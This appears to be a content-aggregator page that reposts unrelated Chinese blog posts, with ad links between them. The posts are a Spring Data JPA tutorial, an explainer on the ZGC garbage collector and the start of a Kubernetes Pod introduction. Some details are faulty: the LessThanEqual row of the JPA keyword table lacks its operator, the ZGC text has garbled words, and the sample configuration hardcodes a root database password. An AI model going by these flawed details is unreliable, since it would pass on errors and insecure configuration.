 26         <dependency>
 27             <groupId>org.springframework</groupId>
 28             <artifactId>spring-aop</artifactId>
 29             <version>${spring.version}</version>
 30         </dependency>
 31 
 32         <dependency>
 33             <groupId>org.springframework</groupId>
 34             <artifactId>spring-context</artifactId>
 35             <version>${spring.version}</version>
 36         </dependency>
 37 
 38         <dependency>
 39             <groupId>org.springframework</groupId>
 40             <artifactId>spring-context-support</artifactId>
 41             <version>${spring.version}</version>
 42         </dependency>
 43 
 44         <dependency>
 45             <groupId>org.springframework</groupId>
 46             <artifactId>spring-orm</artifactId>
 47             <version>${spring.version}</version>
 48         </dependency>
 49 
 50         <dependency>
 51             <groupId>org.springframework</groupId>
 52             <artifactId>spring-beans</artifactId>
 53             <version>${spring.version}</version>
 54         </dependency>
 55 
 56         <dependency>
 57             <groupId>org.springframework</groupId>
 58             <artifactId>spring-core</artifactId>
 59             <version>${spring.version}</version>
 60         </dependency>
 61         
 62         <!-- spring end -->
 63 
 64         <!-- hibernate beg -->
 65         <dependency>
 66             <groupId>org.hibernate</groupId>
 67             <artifactId>hibernate-core</artifactId>
 68             <version>${hibernate.version}</version>
 69         </dependency>
 70         <dependency>
 71             <groupId>org.hibernate</groupId>
 72             <artifactId>hibernate-entitymanager</artifactId>
 73             <version>${hibernate.version}</version>
 74         </dependency>
 75         <dependency>
 76             <groupId>org.hibernate</groupId>
 77             <artifactId>hibernate-validator</artifactId>
 78             <version>5.2.1.Final</version>
 79         </dependency>
 80         <!-- hibernate end -->
 81 
 82         <!-- c3p0 beg -->
 83         <dependency>
 84             <groupId>c3p0</groupId>
 85             <artifactId>c3p0</artifactId>
 86             <version>${c3p0.version}</version>
 87         </dependency>
 88         <!-- c3p0 end -->
 89 
 90         <!-- log end -->
 91         <dependency>
 92             <groupId>log4j</groupId>
 93             <artifactId>log4j</artifactId>
 94             <version>${log4j.version}</version>
 95         </dependency>
 96 
 97         <dependency>
 98             <groupId>org.slf4j</groupId>
 99             <artifactId>slf4j-api</artifactId>
100             <version>${slf4j.version}</version>
101         </dependency>
102 
103         <dependency>
104             <groupId>org.slf4j</groupId>
105             <artifactId>slf4j-log4j12</artifactId>
106             <version>${slf4j.version}</version>
107         </dependency>
108         <!-- log end -->
109 
110         
111         <dependency>
112             <groupId>mysql</groupId>
113             <artifactId>mysql-connector-java</artifactId>
114             <version>${mysql.version}</version>
115         </dependency>
116 
117         <dependency>
118             <groupId>org.springframework.data</groupId>
119             <artifactId>spring-data-jpa</artifactId>
120             <version>1.9.0.RELEASE</version>
121         </dependency>
122 
123         <dependency>
124             <groupId>org.springframework</groupId>
125             <artifactId>spring-test</artifactId>
126             <version>4.2.4.RELEASE</version>
127         </dependency>
128         
129         <!-- el beg 使用spring data jpa 必須引入 -->
130         <dependency>  
131             <groupId>javax.el</groupId>  
132             <artifactId>javax.el-api</artifactId>  
133             <version>2.2.4</version>  
134         </dependency>  
135           
136         <dependency>  
137             <groupId>org.glassfish.web</groupId>  
138             <artifactId>javax.el</artifactId>  
139             <version>2.2.4</version>  
140         </dependency> 
141         <!-- el end -->
142 
143         <dependency>
144             <groupId>javax.xml.bind</groupId>
145             <artifactId>jaxb-api</artifactId>
146             <version>2.3.0</version>
147         </dependency>
148         <dependency>
149             <groupId>com.sun.xml.bind</groupId>
150             <artifactId>jaxb-impl</artifactId>
151             <version>2.3.0</version>
152         </dependency>
153         <dependency>
154             <groupId>com.sun.xml.bind</groupId>
155             <artifactId>jaxb-core</artifactId>
156             <version>2.3.0</version>
157         </dependency>
158         <dependency>
159             <groupId>javax.activation</groupId>
160             <artifactId>activation</artifactId>
161             <version>1.1.1</version>
162         </dependency>
163     </dependencies>
164         

2、整合Spring Data JPA與Spring

 1 <?xml version="1.0" encoding="UTF-8"?>
 2 <beans xmlns="http://www.springframework.org/schema/beans"
 3     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:aop="http://www.springframework.org/schema/aop"
 4     xmlns:context="http://www.springframework.org/schema/context"
 5     xmlns:jdbc="http://www.springframework.org/schema/jdbc" xmlns:tx="http://www.springframework.org/schema/tx"
 6     xmlns:jpa="http://www.springframework.org/schema/data/jpa" xmlns:task="http://www.springframework.org/schema/task"
 7     xsi:schemaLocation="
 8         http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
 9         http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd
10         http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd
11         http://www.springframework.org/schema/jdbc http://www.springframework.org/schema/jdbc/spring-jdbc.xsd
12         http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx.xsd
13         http://www.springframework.org/schema/data/jpa 
14         http://www.springframework.org/schema/data/jpa/spring-jpa.xsd">
15     
16     <!-- 1.dataSource 配置數據庫連接池-->
17     <bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource">
18         <property name="driverClass" value="com.mysql.jdbc.Driver" />
19         <property name="jdbcUrl" value="jdbc:mysql://localhost:3306/jpa" />
20         <property name="user" value="root" />
21         <property name="password" value="111111" />
22     </bean>
23     
24     <!-- 2.配置entityManagerFactory -->
25     <bean id="entityManagerFactory" class="org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean">
26         <property name="dataSource" ref="dataSource" />
27         <property name="packagesToScan" value="cn.itcast.entity" />
28         <property name="persistenceProvider">
29             <bean class="org.hibernate.jpa.HibernatePersistenceProvider" />
30         </property>
31         <!--JPA的供應商適配器-->
32         <property name="jpaVendorAdapter">
33             <bean class="org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter">
34                 <property name="generateDdl" value="false" />
35                 <property name="database" value="MYSQL" />
36                 <property name="databasePlatform" value="org.hibernate.dialect.MySQLDialect" />
37                 <property name="showSql" value="true" />
38             </bean>
39         </property>
40         <property name="jpaDialect">
41             <bean class="org.springframework.orm.jpa.vendor.HibernateJpaDialect" />
42         </property>
43     </bean>
44     
45     
46     <!-- 3.事務管理器-->
47     <!-- JPA事務管理器  -->
48     <bean id="transactionManager" class="org.springframework.orm.jpa.JpaTransactionManager">
49         <property name="entityManagerFactory" ref="entityManagerFactory" />
50     </bean>
51     
52     <!-- 整合spring data jpa-->
53     <jpa:repositories base-package="top.biyenanhai.mapper"
54         transaction-manager-ref="transactionManager"
55         entity-manager-factory-ref="entityManagerFactory"></jpa:repositories>
56         
57     <!-- 4.txAdvice-->
58     <tx:advice id="txAdvice" transaction-manager="transactionManager">
59         <tx:attributes>
60             <tx:method name="*" propagation="REQUIRED"/>
61             <tx:method name="get*" read-only="true"/>
62             <tx:method name="find*" read-only="true"/>
63         </tx:attributes>
64     </tx:advice>
65     
66     <!-- 5.aop-->
67     <aop:config>
68         <aop:pointcut id="pointcut" expression="execution(* top.biyenanhai.service.*.*(..))" />
69         <aop:advisor advice-ref="txAdvice" pointcut-ref="pointcut" />
70     </aop:config>
71     
72     <context:component-scan base-package="cn.itcast"></context:component-scan>
73     <!--6、配置包掃描-->
74     <context:component-scan base-package="top.biyenanhai"/>
75     <!--組裝其它 配置文件-->
76     
77 </beans>

3、使用JPA註解配置映射關係

package top.biyenanhai.entity;

import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.Table;

/**
 * 
 *      * 所有的註解都是使用JPA的規範提供的註解,
 *      * 所以在導入註解包的時候,一定要導入javax.persistence下的
 */
@Entity //聲明實體類
@Table(name="cst_customer") //建立實體類和表的映射關係
public class Customer {
    
    @Id//聲明當前私有屬性為主鍵
    @GeneratedValue(strategy=GenerationType.IDENTITY) //配置主鍵的生成策略
    @Column(name="cust_id") //指定和表中cust_id字段的映射關係
    private Long custId;
    
    @Column(name="cust_name") //指定和表中cust_name字段的映射關係
    private String custName;
    
    @Column(name="cust_source")//指定和表中cust_source字段的映射關係
    private String custSource;
    
    @Column(name="cust_industry")//指定和表中cust_industry字段的映射關係
    private String custIndustry;
    
    @Column(name="cust_level")//指定和表中cust_level字段的映射關係
    private String custLevel;
    
    @Column(name="cust_address")//指定和表中cust_address字段的映射關係
    private String custAddress;
    
    @Column(name="cust_phone")//指定和表中cust_phone字段的映射關係
    private String custPhone;
    
    //添加get,set方法,toString方法
}

3、編寫符合Spring Data JPA規範的Dao層接口,繼承JpaRepository<T,ID>和JpaSpecificationExecutor<T>

 *     JpaRepository<操作的實體類類型,實體類中主鍵屬性的類型>
 *              *封裝了基本CURD操作
 *     JpaSpecificationExecutor<操作的實體類類型>
 *              *封裝了複雜查詢(分頁)
package top.biyenanhai.dao;

import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.jpa.repository.JpaSpecificationExecutor;
import org.springframework.data.jpa.repository.Modifying;
import org.springframework.data.jpa.repository.Query;
import top.biyenanhai.domain.Customer;

import java.util.List;

/**
 * Created with IntelliJ IDEA.
 *
 * @Auther: 畢業男孩
 *
 * 符合SpringDataJpa的dao接口規範
 *      JpaRepository<操作的實體類類型,實體類中主鍵屬性的類型>
 *              *封裝了基本CURD操作
 *      JpaSpecificationExecutor<操作的實體類類型>
 *              *封裝了複雜查詢(分頁)
 *
 */
public interface CustomerDao extends JpaRepository<Customer, Long>, JpaSpecificationExecutor<Customer> {

    /**
     * 案例:根據客戶名稱查詢客戶
     *      使用jpql的形式查詢
     *
     *  jpql:from Customer where custName = ?
     *
     *  配置jpql語句,使用@Query註解
     */
    @Query(value="from Customer where custName = ? ")
    Customer findJpql(String custName);

    /**
     * 案例:根據客戶名稱和客戶id查詢客戶
     *      jqpl:from Customer where cutName = ? and custId = ?
     *
     *   對於多個佔位符參數
     *          賦值的時候,默認的情況下,佔位符的位置需要和方法參數中的位置保持一致
     *   可以指定佔位符參數的位置
     *          ?索引的方式,指定此佔位的取值來源
     */
    @Query(value = "from Customer where custName=?2 and custId=?1")
    Customer findCustNameAndCustId(Long id,String name);


    /**
     * 使用jpql完成更新操作
     *      案例:根據id更新,客戶的名稱
     *          更新4號客戶的名稱,將名稱改為“老男孩”
     *
     *
     * sql:update cst_customer set cust_name = ?where cust_id=?
     * jpql:update Customer set custName=? where custId=?
     *
     * @Query:代表的是進行查詢
     *      聲明此方法是用來更新操作
     * @Modifying:當前執行的是一個更新操作
     */
    @Query(value = "update Customer set custName=?2 where custId=?1")
    @Modifying
    void updateCustomer(long id, String custName);


    /**
     * 使用sql的形式查詢:
     *      查詢全部的客戶
     *      sql:select * from cst_custimer;
     *      Query:配置sql查詢
     *          value: sql語句
     *          nativeQuery: 查詢方式
     *              true:sql查詢
     *              false:jpql查詢
     */
//    @Query(value = "select * from cst_customer", nativeQuery = true)  //查詢全部

    @Query(value = "select * from cst_customer where cust_name like ?1",nativeQuery = true) //條件查詢
    List<Object[]> findSql(String name);


    /**
     * 方法名的約定:
     *      findBy:查詢
     *          對象中的屬性名(首字母大寫):查詢的條件
     *          CustName
     *          *默認情況:使用 等於的方式查詢
     *              特殊的查詢方式
     * findByCustName --  根據客戶名稱查詢
     *
     * 在springdataJpa的運行階段
     *      會根據方法名稱進行解析  findBy  from xxx(實體類)
     *                                  屬性名稱    where custName =
     *
     *
     *      1、findBy + 屬性名稱(根據屬性名稱進行完成匹配的查詢=)
     *      2、findBy + 屬性名稱 + “查詢方式(Like|isnull)”
     *      3、多條件查詢
     *          findBy + 屬性名 + "查詢條件" + "多條件的連接符(and|or)" + 屬性名 + “查詢方式”
     *
     */
    Customer findByCustName(String custName);

    List<Customer> findByCustNameLike(String name);

    List<Customer> findByCustNameLikeAndCustIndustry(String name, String industry);

}

4、測試基本CRUD操作

@RunWith(SpringJUnit4ClassRunner.class) //聲明spring提供的單元測試環境
@ContextConfiguration(locations = "classpath:applicationContext.xml")//指定spring容器的配置信息
public class CustomerDaoTest {

    @Autowired
    private CustomerDao customerDao;

    /**
     * 根據id查詢
     */
    @Test
    public void testFindOne(){
        Customer customer = customerDao.findOne(1l);
        System.out.println(customer);
    }
......
    
    /**
     * 測試jqpl的更新操作
     * 更新和刪除操作要加上事務的註解
     *
     * springDataJpa中使用jpql完成  更新/刪除操作
     *          需要手動添加事務的支持
     *          默認回執行結束之後,回滾事務
     *    @Rollback:設置是否自動回滾
     */
    @Test
    @Transactional//添加事務的支持
    @Rollback(false)
    public void testUpdate(){
        customerDao.updateCustomer(1l, "航空航天科技有限公司");
    }
......

5、具體關鍵字,使用方法和生產成SQL如下錶所示

Keyword

Sample

JPQL

And

findByLastnameAndFirstname

… where x.lastname = ?1 and x.firstname = ?2

Or

findByLastnameOrFirstname

… where x.lastname = ?1 or x.firstname = ?2

Is,Equals

findByFirstnameIs,

findByFirstnameEquals

… where x.firstname = ?1

Between

findByStartDateBetween

… where x.startDate between ?1 and ?2

LessThan

findByAgeLessThan

… where x.age < ?1

LessThanEqual

findByAgeLessThanEqual

… where x.age ?1

GreaterThan

findByAgeGreaterThan

… where x.age > ?1

GreaterThanEqual

findByAgeGreaterThanEqual

… where x.age >= ?1

After

findByStartDateAfter

… where x.startDate > ?1

Before

findByStartDateBefore

… where x.startDate < ?1

IsNull

findByAgeIsNull

… where x.age is null

IsNotNull,NotNull

findByAge(Is)NotNull

… where x.age not null

Like

findByFirstnameLike

… where x.firstname like ?1

NotLike

findByFirstnameNotLike

… where x.firstname not like ?1

StartingWith

findByFirstnameStartingWith

… where x.firstname like ?1 (parameter bound with appended %)

EndingWith

findByFirstnameEndingWith

… where x.firstname like ?1 (parameter bound with prepended %)

Containing

findByFirstnameContaining

… where x.firstname like ?1 (parameter bound wrapped in %)

OrderBy

findByAgeOrderByLastnameDesc

… where x.age = ?1 order by x.lastname desc

Not

findByLastnameNot

… where x.lastname <> ?1

In

findByAgeIn(Collection ages)

… where x.age in ?1

NotIn

findByAgeNotIn(Collection age)

… where x.age not in ?1

TRUE

findByActiveTrue()

… where x.active = true

FALSE

findByActiveFalse()

… where x.active = false

IgnoreCase

findByFirstnameIgnoreCase

… where UPPER(x.firstame) = UPPER(?1)

 

六、Specifications動態查詢:

  有時我們在查詢某個實體的時候,給定的條件是不固定的,這時就需要動態構建相應的查詢語句,在Spring Data JPA中可以通過JpaSpecificationExecutor接口查詢。相比JPQL,其優勢是類型安全,更加的面向對象。對於JpaSpecificationExecutor,這個接口基本是圍繞着Specification接口來定義的。我們可以簡單的理解為,Specification構造的就是查詢條件。

/**
    *    root    :Root接口,代表查詢的根對象,可以通過root獲取實體中的屬性
    *    query    :代表一個頂層查詢對象,用來自定義查詢
    *    cb        :用來構建查詢,此對象里有很多條件方法
    **/
    public Predicate toPredicate(Root<T> root, CriteriaQuery<?> query, CriteriaBuilder cb);

案例:使用Specifications完成條件查詢

//依賴注入customerDao
    @Autowired
    private CustomerDao customerDao;    
    @Test
    public void testSpecifications() {
          //使用匿名內部類的方式,創建一個Specification的實現類,並實現toPredicate方法
        Specification <Customer> spec = new Specification<Customer>() {
            public Predicate toPredicate(Root<Customer> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
                //cb:構建查詢,添加查詢方式   like:模糊匹配
                //root:從實體Customer對象中按照custName屬性進行查詢
                return cb.like(root.get("custName").as(String.class), "航天航空%");
            }
        };
        Customer customer = customerDao.findOne(spec);
        System.out.println(customer);
    }

案例:基於Specifications的分頁查詢

@Test
    public void testPage() {
        //構造查詢條件
        Specification<Customer> spec = new Specification<Customer>() {
            public Predicate toPredicate(Root<Customer> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
                return cb.like(root.get("custName").as(String.class), "航天%");
            }
        };
        
        /**
         * 構造分頁參數
         *         Pageable : 接口
         *             PageRequest實現了Pageable接口,調用構造方法的形式構造
         *                 第一個參數:頁碼(從0開始)
         *                 第二個參數:每頁查詢條數
         */
        Pageable pageable = new PageRequest(0, 5);
        
        /**
         * 分頁查詢,封裝為Spring Data Jpa 內部的page bean
         *         此重載的findAll方法為分頁方法需要兩個參數
         *             第一個參數:查詢條件Specification
         *             第二個參數:分頁參數
         */
        Page<Customer> page = customerDao.findAll(spec,pageable);
        
    }

對於Spring Data JPA中的分頁查詢,是其內部自動實現的封裝過程,返回的是一個Spring Data JPA提供的pageBean對象。其中的方法說明如下:

//獲取總頁數
int getTotalPages();
//獲取總記錄數    
long getTotalElements();
//獲取列表數據
List<T> getContent();

方法對應關係:

方法名稱

Sql對應關係

equal

filed = value

gt(greaterThan )

filed > value

lt(lessThan )

filed < value

ge(greaterThanOrEqualTo )

filed >= value

le( lessThanOrEqualTo)

filed <= value

notEqual

filed != value

like

filed like value

notLike

filed not like value

七、JPA中的一對多:

實體類(一對多,一的實體類)

/**
 * 客戶的實體類
 * 明確使用的註解都是JPA規範的
 * 所以導包都要導入javax.persistence包下的
 */
@Entity//表示當前類是一個實體類
@Table(name="cst_customer")//建立當前實體類和表之間的對應關係
public class Customer implements Serializable {
    
    @Id//表明當前私有屬性是主鍵
    @GeneratedValue(strategy=GenerationType.IDENTITY)//指定主鍵的生成策略
    @Column(name="cust_id")//指定和數據庫表中的cust_id列對應
    private Long custId;
    @Column(name="cust_name")//指定和數據庫表中的cust_name列對應
    private String custName;
    
    //配置客戶和聯繫人的一對多關係
    @OneToMany(targetEntity=LinkMan.class)
    @JoinColumn(name="lkm_cust_id",referencedColumnName="cust_id")
    private Set<LinkMan> linkmans = new HashSet<LinkMan>();

...get,set方法

實體類(一對多,多的實體類)

/**
 * 聯繫人的實體類(數據模型)
 */
@Entity
@Table(name="cst_linkman")
public class LinkMan implements Serializable {
    @Id
    @GeneratedValue(strategy=GenerationType.IDENTITY)
    @Column(name="lkm_id")
    private Long lkmId;
    @Column(name="lkm_name")
    private String lkmName;
    @Column(name="lkm_gender")
    private String lkmGender;
    @Column(name="lkm_phone")
    private String lkmPhone;

    //多對一關係映射:多個聯繫人對應客戶
    @ManyToOne(targetEntity=Customer.class)
    @JoinColumn(name="lkm_cust_id",referencedColumnName="cust_id")
    private Customer customer;//用它的主鍵,對應聯繫人表中的外鍵

...get,set方法

八、JPA中的多對多:

/**
 * 用戶的數據模型
 */
@Entity
@Table(name="sys_user")
public class SysUser implements Serializable {
    
    @Id
    @GeneratedValue(strategy=GenerationType.IDENTITY)
    @Column(name="user_id")
    private Long userId;
    @Column(name="user_name")
    private String userName;

    
    //多對多關係映射
    @ManyToMany(mappedBy="users")
    private Set<SysRole> roles = new HashSet<SysRole>();
/**
 * 角色的數據模型
 */
@Entity
@Table(name="sys_role")
public class SysRole implements Serializable {
    
    @Id
    @GeneratedValue(strategy=GenerationType.IDENTITY)
    @Column(name="role_id")
    private Long roleId;
    @Column(name="role_name")
    private String roleName;
    
    //多對多關係映射
    @ManyToMany
    @JoinTable(name="user_role_rel",//中間表的名稱
              //中間表user_role_rel字段關聯sys_role表的主鍵字段role_id
              joinColumns={@JoinColumn(name="role_id",referencedColumnName="role_id")},
              //中間表user_role_rel的字段關聯sys_user表的主鍵user_id
              inverseJoinColumns={@JoinColumn(name="user_id",referencedColumnName="user_id")}
    )
    private Set<SysUser> users = new HashSet<SysUser>();

 

映射的註解說明

@OneToMany:
       作用:建立一對多的關係映射
    屬性:
        targetEntityClass:指定多的多方的類的字節碼
        mappedBy:指定從表實體類中引用主表對象的名稱。
        cascade:指定要使用的級聯操作
        fetch:指定是否採用延遲加載

@ManyToOne
    作用:建立多對一的關係
    屬性:
        targetEntityClass:指定一的一方實體類字節碼
        cascade:指定要使用的級聯操作
        fetch:指定是否採用延遲加載
        optional:關聯是否可選。如果設置為false,則必須始終存在非空關係。

@JoinColumn
     作用:用於定義主鍵字段和外鍵字段的對應關係。
     屬性:
        name:指定外鍵字段的名稱
        referencedColumnName:指定引用主表的主鍵字段名稱
        unique:是否唯一。默認值不唯一
        nullable:是否允許為空。默認值允許。
        insertable:是否允許插入。默認值允許。
        updatable:是否允許更新。默認值允許。
        columnDefinition:列的定義信息。

 

九、Spring Data JPA中的多表查詢:

  對象導航查詢:對象導航檢索方式是根據已經加載的對象,導航到他的關聯對象。它利用類與類之間的關係來檢索對象。例如:我們通過ID查詢方式查出一個客戶,可以調用Customer類中的getLinkMans()方法來獲取該客戶的所有聯繫人。對象導航查詢的使用要求是:兩個對象之間必須存在關聯關係。

//查詢一個客戶,獲取該客戶下的所有聯繫人
@Autowired
private CustomerDao customerDao;
    
@Test
//由於是在java代碼中測試,為了解決no session問題,將操作配置到同一個事務中
@Transactional 
public void testFind() {
    Customer customer = customerDao.findOne(5l);
    Set<LinkMan> linkMans = customer.getLinkMans();//對象導航查詢
    for(LinkMan linkMan : linkMans) {
          System.out.println(linkMan);
    }
}
//查詢一個聯繫人,獲取該聯繫人的所有客戶
@Autowired
private LinkManDao linkManDao;
    
@Test
public void testFind() {
    LinkMan linkMan = linkManDao.findOne(4l);
    Customer customer = linkMan.getCustomer(); //對象導航查詢
    System.out.println(customer);
}

採用延遲加載的思想。通過配置的方式來設定當我們在需要使用時,發起真正的查詢。

配置方式:

/**
 * 在客戶對象的@OneToMany註解中添加fetch屬性
 *     FetchType.EAGER    :立即加載
 *     FetchType.LAZY            :延遲加載
 */
 @OneToMany(mappedBy="customer",fetch=FetchType.EAGER)
 private Set<LinkMan> linkMans = new HashSet<>();
    
/**
 * 在聯繫人對象的@ManyToOne註解中添加fetch屬性
 *         FetchType.EAGER    :立即加載
 *         FetchType.LAZY    :延遲加載
 */
 @ManyToOne(targetEntity=Customer.class,fetch=FetchType.EAGER)
 @JoinColumn(name="cst_lkm_id",referencedColumnName="cust_id")
 private Customer customer;

使用Specification查詢

/**
 * Specification的多表查詢
 */
@Test
public void testFind() {
    Specification<LinkMan> spec = new Specification<LinkMan>() {
        public Predicate toPredicate(Root<LinkMan> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
            //Join代錶鏈接查詢,通過root對象獲取
            //創建的過程中,第一個參數為關聯對象的屬性名稱,第二個參數為連接查詢的方式(left,inner,right)
            //JoinType.LEFT : 左外連接,JoinType.INNER:內連接,JoinType.RIGHT:右外連接
            Join<LinkMan, Customer> join = root.join("customer",JoinType.INNER);
            return cb.like(join.get("custName").as(String.class),"航空航天");
        }
    };
    List<LinkMan> list = linkManDao.findAll(spec);
    for (LinkMan linkMan : list) {
        System.out.println(linkMan);
    }
}

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※教你寫出一流的銷售文案?

深入理解JVM(③)ZGC收集器

前言

ZGC是一款在JDK11中新加入的具有實驗性質的低延遲垃圾收集器,目前僅支持Linux/x86-64。ZGC收集器是一款基於Region內存布局的,(暫時)不設分代的,使用了讀屏障、染色指針和內存多重映射等技術來實現可併發的標記-整理算法的,以低延遲為首要目標的一款垃圾收集器。

ZGC布局

與Shenandoah和G1一樣,ZGC也採取基於Region的堆內存布局,但與他們不同的是,ZGC的Region具有動態性(動態的創建和銷毀,以及動態的區域容量大小)。
ZGC的Region可以分為三類:

  • 小型Region:容量固定為2MB,用於放置小於256KB的小對象。
  • 中型Region:容量固定為32MB,用於放置大於等於256KB但小於4MB的對象。
  • 大型Region:容量不固定,可以動態變化,但必須為2MB的整數倍,用於存放4MB或以上的大對象。並且每個大型Region只會存放一個對象。
    ZGC內存布局圖:

染色指針

HotSpot的垃圾收集器,有幾種不同的標記實現方案。

  • 把標記直接記錄在對象頭上(Serial 收集器)。
  • 把標記記錄在於對象相互獨立的數據結構上(G1、Shenandoah使用了一種相當於堆內存的1/64大小的,稱為BitMap的結構來記錄標記信息)。
  • ZGC染色指針直接把標記信息記載引用對象的指針上。
    染色指針是一種直接將少量額外的信息存儲在指針上的技術。
    目前Linux下64位指針的高18位不能用來尋址,但剩餘的46位指針所能支持的64TB內存仍然鞥呢夠充分滿足大型服務器的需要。鑒於此,ZGC將其高4位提取出來存儲四個標誌信息。
    通過這些標誌虛擬機就可以直接從指針中看到器引用對象的三色標記狀態(Marked0、Marked1)、是否進入了重分配集(是否被移動過——Remapped)、是否只能通過finalize()方法才能被訪問到(Finalizable)。由於這些標誌位進一步壓縮了原本只有46位的地址空寂,導致ZGC能夠管理的內存不可以超過4TB。
    染色指針示意圖:

染色指針的優勢

  • 染色指針可以使得一旦某個Region的存活對象被移走之後,這個Region立即就能夠被釋放和重用掉,而不必等待整個堆中所有指令向該Region的引用都被修正後才能清理。
  • 染色指針可以大幅減少在垃圾收集過程中內存屏障的使用數量,設置內存屏障,尤其是在寫屏障的目的通常是為了記錄對象引用的變動情況,如果將這些信息直接維護在指針中,顯然就可以省去一些專門的記錄操作。
  • 染色指針可以作為一種可擴展的存儲結構用來記錄更多與對象標記、重定位過程相關的數據,以便日後進一步提高性能。

內存多重映射

Linux/x86-64平台上ZGC使用了多重映射(Multi-Mapping)將多個不同的虛擬內存地址映射到同一物理內存地址上,這是一種多對一映射,意味着ZGC在虛擬內存中看到的地址空寂要比實際的堆內存容量來的更大。把染色指針中的標誌位看作是地址的分段符,那隻要將這些不同的地址段都映射到同一物理內褲空間,經過多重映射轉換后,就可以使用染色指針正常進行尋址了。
多重映射下的尋址:

ZGC的運作過程

ZGC的運作過程大致可劃分為以下四個大的階段。四個階段都是可以併發執行的,僅是兩個階段中間會存在短暫的停頓小階段。
運作過程如下:

  • 併發標記(Concurrent Mark): 與G1、Shenandoah一樣,併發標記是遍歷對象圖做可達性分析的階段,前後也要經過類似於G1、Shenandoah的初始標記、最終標記的短暫停頓,而且這些停頓階段所做的事情在目標上也是相類似的。
  • 併發預備重分配( Concurrent Prepare for Relocate): 這個階段需要根據特定的查詢條件統計得出本次收集過程要清理哪些Region,將這些Region組成重分配集(Relocation Set)。
  • 併發重分配(Concurrent Relocate): 重分配是ZGC執行過程中的核心階段,這個過程要把重分配集中的存活對象複製到新的Region上,併為重分配集中的每個Region維護一個轉發表(Forward Table),記錄從舊對象到新對象的轉向關係。
  • 併發重映射(Concurrent Remap): 重映射所做的就是修正整個堆中指向重分配集中舊對象的所有引用,ZGC的併發映射並不是以一個必須要“迫切”去完成的任務。ZGC很巧妙地把併發重映射階段要做的工作,合併到下一次垃圾收集循環中的併發標記階段里去完成,反正他們都是要遍歷所有對象的,這樣合併節省了一次遍歷的開銷。

ZGC的優劣勢

  • 缺點:浮動垃圾
    當ZGC準備要對一個很大的堆做一次完整的併發收集,駕駛其全過程要持續十分鐘以上,由於應用的對象分配速率很高,將創造大量的新對象,這些新對象很難進入當次收集的標記範圍,通常就只能全部作為存活對象來看待(儘管其中絕大部分對象都是朝生夕滅),這就產生了大量的浮動垃圾。
    目前唯一的辦法就是盡可能地去增加堆容量大小,獲取更多喘息的時間。但若要從根本上解決,還是需要引入分代收集,讓新生對象都在一個專門的區域中創建,然後針對這個區域進行更頻繁、更快的收集。
  • 優點:高吞吐量、低延遲
    ZGC是支持“NUMA-Aware”的內存分配。MUMA(Non-Uniform Memory Access,非統一內存訪問架構)是一種多處理器或多核處理器計算機所設計的內存架構。
    現在多CPU插槽的服務器都是Numa架構,比如兩顆CPU插槽(24核),64G內存的服務器,那其中一顆CPU上的12個核,訪問從屬於它的32G本地內存,要比訪問另外32G遠端內存要快得多。
    ZGC默認支持NUMA架構,在創建對象時,根據當前線程在哪個CPU執行,優先在靠近這個CPU的內存進行分配,這樣可以顯著的提高性能,在SPEC JBB 2005 基準測試里獲得40%的提升。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※別再煩惱如何寫文案,掌握八大原則!

※產品缺大量曝光嗎?你需要的是一流包裝設計!

【K8s學習筆記】K8s是如何部署應用的?

本文內容

本文致力於介紹K8s一些基礎概念與串聯部署應用的主體流程,使用Minikube實操

基礎架構概念回顧

溫故而知新,上一節【K8S學習筆記】初識K8S 及架構組件 我們學習了K8s的發展歷史、基礎架構概念及用途,本節講的內容建立在其上,有必要把之前的架構小節提出來回顧下:

K8s架構分為控制平台(位於的Master節點)與執行節點Node

控制平台包含:

  • kube-apiserver(訪問入口,接收命令)

  • etcd(KV數據庫,保存集群狀態與數據)

  • kube-scheduler(監控節點狀態,調度容器部署)

  • kube-controller-manager(監控集群狀態,控制節點、副本、端點、賬戶與令牌)

  • cloud-controller-manager(控制與雲交互的節點、路由、服務、數據卷)

執行節點包含:

  • kubelet(監控與實際操作容器)

  • kube-proxy(每個節點上運行的網絡代理,維護網絡轉發規則,實現了Service)

  • 容器運行時環境CRI(支持多種實現K8s CRI的容器技術)

接下來需要引入 Pod 與 Service 的概念,這也是在上一篇文章中未給出的

Pod、Service與Label概念

Pod概念與結構

Pod 是 K8s最重要的基本概念,官網給出概念:Pod是Kubernates可調度的最小的、可部署的單元。怎麼理解呢?最簡單的理解是,Pod是一組容器。

再詳細些,Pod是一組容器組成的概念,這些容器都有共同的特點:

  • 都有一個特殊的被稱為“根容器”的Pause容器。Pause容器鏡像屬於K8s平台的一部分
  • 包含一個或多個緊密相關的用戶業務容器。假設個場景:業務容器需要獨立的redis提供服務,這裏就可以將它們兩個部署在同一Pod中。

下邊是Pod的組成示意圖:

為什麼Kubernetes會設計出一個全新的概念與Pod會有這樣特殊的結構呢?

  • 原因之一:K8s需要將一組容器視為一個單元處理。當其中某些容器死亡了,此時無法判定這組容器的狀態。而當成一個單元,只要其中有一個容器掛了,這個單元就判定掛了。
